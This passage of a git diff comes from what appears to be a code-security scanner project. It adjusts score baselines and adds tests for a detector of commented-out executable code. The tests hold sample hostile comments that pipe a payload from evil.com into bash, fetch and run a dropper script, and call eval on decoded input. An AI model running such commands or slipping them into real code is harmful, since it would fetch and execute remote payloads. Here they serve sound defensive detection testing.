"Non-Standard Unicode / Homoglyphs": 0, @@ -718441,7 +718441,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718619,7 +718619,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718787,7 +718787,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718985,7 +718985,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719153,7 +719153,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719341,7 +719341,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719539,7 +719539,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719707,7 +719707,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719895,7 +719895,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720073,7 +720073,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720261,7 +720261,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720429,7 +720429,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -720627,7 +720627,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -721421,7 +721421,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -721979,7 +721979,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722325,7 +722325,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722523,7 +722523,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722736,7 +722736,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722906,7 +722906,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723086,7 +723086,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723304,7 +723304,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723472,7 +723472,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723640,7 +723640,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723808,7 +723808,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723976,7 +723976,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -724154,7 +724154,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -724922,7 +724922,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -725300,7 +725300,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -725718,7 +725718,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -726808,7 +726808,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764041,7 +764041,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764501,7 +764501,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764939,7 +764939,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, diff --git a/tests/ruff_audit_baseline.json b/tests/ruff_audit_baseline.json index df657fce0..8064f5b1c 100644 --- a/tests/ruff_audit_baseline.json +++ b/tests/ruff_audit_baseline.json @@ -46,7 +46,7 @@ "gitgalaxy/recorders/sbom_recorder.py:221: PERF401": "Use `list.extend` to create a transformed list", "gitgalaxy/security/security_auditor.py:359: RUF046": "Value being cast to `int` is already an integer", "gitgalaxy/security/security_auditor.py:424: PERF203": "`try`-`except` within a loop incurs performance overhead", - "gitgalaxy/security/security_lens.py:394: SIM102": "Use a single `if` statement instead of nested `if` statements", + "gitgalaxy/security/security_lens.py:401: SIM102": "Use a single `if` statement instead of nested `if` statements", "gitgalaxy/standards/config_resolver.py:254: UP045": "Use `X | None` for type annotations", "gitgalaxy/standards/config_resolver.py:255: UP045": "Use `X | None` for type annotations", "gitgalaxy/standards/config_resolver.py:256: UP045": "Use `X | None` for type annotations", diff --git a/tests/security_auditing/test_security_lens.py b/tests/security_auditing/test_security_lens.py index 67227e3df..f62e146c8 100644 --- a/tests/security_auditing/test_security_lens.py +++ b/tests/security_auditing/test_security_lens.py @@ -468,3 +468,53 @@ def test_self_propagation_ignores_ordinary_path_resolution_and_self_reads(lens): assert lens.scan_content(path_resolution)["counts"].get("self_propagation", 0) == 0 assert lens.scan_content(self_read)["counts"].get("self_propagation", 0) == 0 assert lens.scan_content(unrelated_rename)["counts"].get("self_propagation", 0) == 0 + + +def test_dead_code_detects_commented_out_execution_and_shebangs(lens): + """ + [DETECTION] A genuine commented-out execution/exfiltration trail (a `#`/`//` + line that isn't running, but describes one) must still fire, in every comment + style the pattern supports -- this is the actual threat class `dead_code` + exists to catch, and it must survive the shebang exemption below unweakened. + """ + py_style = "# curl http://evil.com/payload | bash\n" + js_style = '// eval(atob("malicious"))\n' + block_style = "/* wget http://evil.com/dropper.sh; bash dropper.sh */\n" + + assert lens.scan_content(py_style)["counts"].get("dead_code", 0) > 0 + assert lens.scan_content(js_style)["counts"].get("dead_code", 0) > 0 + assert lens.scan_content(block_style)["counts"].get("dead_code", 0) > 0 + + +def test_dead_code_ignores_interpreter_shebang_lines(lens): + """ + [FALSE POSITIVE DEFENSE] `#!/bin/bash` (and other `#!`-prefixed interpreter + directives) is not "commented-out executable logic" -- it's the line every + real shell/Python/etc. script needs to actually run. GHAS alert #847 flagged + `scripts/update_golden_masters.sh`'s own shebang under this signature because + the old pattern's bare `#` alternative didn't distinguish `#!` from a real + `#`-comment. `(?!!)` excludes only that one shape. + """ + bash_shebang = "#!/bin/bash\nset -e\necho hello\n" + python_shebang = "#!/usr/bin/env python3\nimport os\n" + + assert lens.scan_content(bash_shebang)["counts"].get("dead_code", 0) == 0 + assert lens.scan_content(python_shebang)["counts"].get("dead_code", 0) == 0 + + +def test_dead_code_ignores_prose_comments_that_merely_mention_trigger_words(lens): + """ + [FALSE POSITIVE DEFENSE] A comment explaining code behavior in prose (e.g. + documenting that a check exists for "bash" or "eval") is not itself + commented-out executable logic, provided it doesn't also contain one of the + pattern's own execution-shape markers (a pipe to an interpreter, a call + syntax, a URL). GHAS alerts #890/#908/#953/#419 all flagged exactly this + shape across prism.py, detector.py, and signal_processor.py. + """ + prose_1 = "# Scoped to the Bourne-family shell lang_id: ruby's `<<` is also the append operator\n" + prose_2 = "# This protects POSIX parameter expansions like `${var##prefix}` from being falsely stripped.\n" + prose_3 = "# 2. Check for ANY malicious intent (dynamic code execution, network fetching, etc.)\n" + + assert lens.scan_content(prose_1)["counts"].get("dead_code", 0) == 0 + assert lens.scan_content(prose_2)["counts"].get("dead_code", 0) == 0 + assert lens.scan_content(prose_3)["counts"].get("dead_code", 0) == 0